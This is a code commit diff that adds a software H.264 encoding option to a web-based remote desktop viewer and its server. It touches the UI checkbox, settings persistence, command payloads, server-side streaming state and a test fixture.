small optimizations + allow for users to force software H264 since it's not slow as balls

Overlord-Server/public/assets/remotedesktop.js

@@ -70,6 +70,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
   const codecH264 = document.getElementById("codecH264");
+  const softwareH264Ctrl = document.getElementById("softwareH264Ctrl");
   const codecMode = document.getElementById("codecMode");
   const canvas = document.getElementById("frameCanvas");
   const canvasContainer = document.getElementById("canvasContainer");
@@ -403,6 +404,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
     if (cursorCtrl && typeof settings.cursor === "boolean") cursorCtrl.checked = settings.cursor;
     if (duplicationCtrl && typeof settings.duplication === "boolean") duplicationCtrl.checked = settings.duplication;
+    if (softwareH264Ctrl && typeof settings.softwareH264 === "boolean") softwareH264Ctrl.checked = settings.softwareH264;
     if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
     if (audioCtrl && typeof settings.audio === "boolean") audioCtrl.checked = settings.audio;
     if (typeof settings.preferH264 === "boolean") {
@@ -423,6 +425,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       keyboard: !!kbdCtrl?.checked,
       cursor: !!cursorCtrl?.checked,
       duplication: !!duplicationCtrl?.checked,
+      softwareH264: !!softwareH264Ctrl?.checked,
       clipboardSync: !!clipboardSyncCtrl?.checked,
       audio: !!audioCtrl?.checked,
       audioTransport: getAudioTransport(),
@@ -439,6 +442,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     codecH264.checked = prefersH264;
     codecH264.disabled = typeof VideoDecoder !== "function";
   }
+  if (softwareH264Ctrl) {
+    softwareH264Ctrl.disabled = !prefersH264;
+  }
 
   function setCodecModeLabel(mode, detail) {
     if (!codecMode) return;
@@ -1216,12 +1222,17 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
   function pushQuality(val) {
     const q = Number(val) || 90;
     const codec = q >= 100 ? "raw" : (prefersH264 ? "h264" : "jpeg");
-    console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec);
+    const softwareH264 = codec === "h264" && useSoftwareH264();
+    console.debug("rd: pushQuality val=", val, "q=", q, "codec=", codec, "softwareH264=", softwareH264);
     setCodecModeLabel(codec, "requested");
-    if (codec === "h264") {
+    if (codec === "h264" && !softwareH264) {
       ensureDuplicationForH264();
     }
-    sendCmd("desktop_set_quality", { quality: q, codec });
+    sendCmd("desktop_set_quality", { quality: q, codec, softwareH264 });
+  }
+
+  function useSoftwareH264() {
+    return !!softwareH264Ctrl?.checked && prefersH264;
   }
 
   function ensureDuplicationForH264() {
@@ -1236,7 +1247,10 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     codecH264.addEventListener("change", function () {
       resetH264SessionState();
       prefersH264 = !!codecH264.checked && typeof VideoDecoder === "function";
-      if (prefersH264) {
+      if (softwareH264Ctrl) {
+        softwareH264Ctrl.disabled = !prefersH264;
+      }
+      if (prefersH264 && !useSoftwareH264()) {
         ensureDuplicationForH264();
       }
       if (!prefersH264) {
@@ -1249,6 +1263,15 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sharedSettingsSaver.scheduleSave();
     });
   }
+  if (softwareH264Ctrl) {
+    softwareH264Ctrl.addEventListener("change", function () {
+      resetH264SessionState();
+      if (qualitySlider) {
+        pushQuality(qualitySlider.value);
+      }
+      sharedSettingsSaver.scheduleSave();
+    });
+  }
 
   function pushResolution() {
     if (resolutionSelect) {
@@ -1335,7 +1358,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     if (qualitySlider) {
       pushQuality(qualitySlider.value);
     }
-    if (prefersH264) {
+    if (prefersH264 && !useSoftwareH264()) {
       ensureDuplicationForH264();
     }
     pushTargetFps();
@@ -1588,6 +1611,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
     prefersH264 = false;
     destroyVideoDecoder();
     if (codecH264) codecH264.checked = false;
+    if (softwareH264Ctrl) softwareH264Ctrl.disabled = true;
     sharedSettingsSaver.scheduleSave();
     console.warn("rd: falling back to jpeg codec", reasonText);
     const q = Number(qualitySlider?.value) || 90;
@@ -1636,6 +1660,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
       sendCmd("desktop_set_quality", {
         quality: q,
         codec: "h264",
+        softwareH264: useSoftwareH264(),
         source: "rd_viewer",
         reason: "h264_recovery_quality_push",
       });

Overlord-Server/public/remotedesktop.html

@@ -198,6 +198,9 @@
                   </label>
                   <span id="codecMode" class="pill pill-ghost text-slate-100 text-xs">Codec: auto</span>
                 </div>
+                <label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Skip NVENC/direct GPU H.264 and use the software H.264 fallback path">
+                  <input type="checkbox" id="softwareH264Ctrl" /> Software H.264
+                </label>
                 <label class="mt-2 flex items-center gap-2 text-sm text-slate-200" title="Use GPU desktop duplication (Windows only)">
                   <input type="checkbox" id="duplicationCtrl" /> GPU Capture
                 </label>

Overlord-Server/src/server/ws-console-rd-hvnc.test.ts

@@ -132,6 +132,7 @@ describe("remote desktop viewer control", () => {
       display: 0,
       quality: 90,
       codec: "h264",
+      softwareH264: false,
       duplication: true,
       maxHeight: 1080,
       maxFps: 120,

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -177,6 +177,7 @@ export const rdStreamingState = new Map<string, {
   display: number;
   quality: number;
   codec: string;
+  softwareH264: boolean;
   duplication: boolean;
   maxHeight: number;
   maxFps: number;
@@ -201,6 +202,7 @@ function defaultRdStreamingState() {
     display: 0,
     quality: 90,
     codec: "",
+    softwareH264: false,
     duplication: false,
     maxHeight: 0,
     maxFps: 120,
@@ -507,23 +509,26 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
     case "desktop_set_quality": {
       const newQuality = Number(payload.quality) || 90;
       const newCodec = String(payload.codec || "").toLowerCase();
+      const newSoftwareH264 = newCodec === "h264" && !!(payload as any).softwareH264;
       const reason = typeof payload.reason === "string"
         ? payload.reason.slice(0, 512)
         : "";
       const source = typeof payload.source === "string"
         ? payload.source.slice(0, 128)
         : "";
-      if (state.quality !== newQuality || state.codec !== newCodec) {
+      if (state.quality !== newQuality || state.codec !== newCodec || state.softwareH264 !== newSoftwareH264) {
         sendDesktopCommand(target, "desktop_set_quality", {
           quality: newQuality,
           codec: newCodec,
+          softwareH264: newSoftwareH264,
           ...(reason ? { reason } : {}),
           ...(source ? { source } : {}),
         });
         state.quality = newQuality;
         state.codec = newCodec;
+        state.softwareH264 = newSoftwareH264;
         rdStreamingState.set(clientId, state);
-        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
+        logger.debug(`[rd] set quality=${newQuality} codec=${newCodec || "(default)"} software_h264=${newSoftwareH264}${source ? ` source=${source}` : ""}${reason ? ` reason=${reason}` : ""}`);
       }
       break;
     }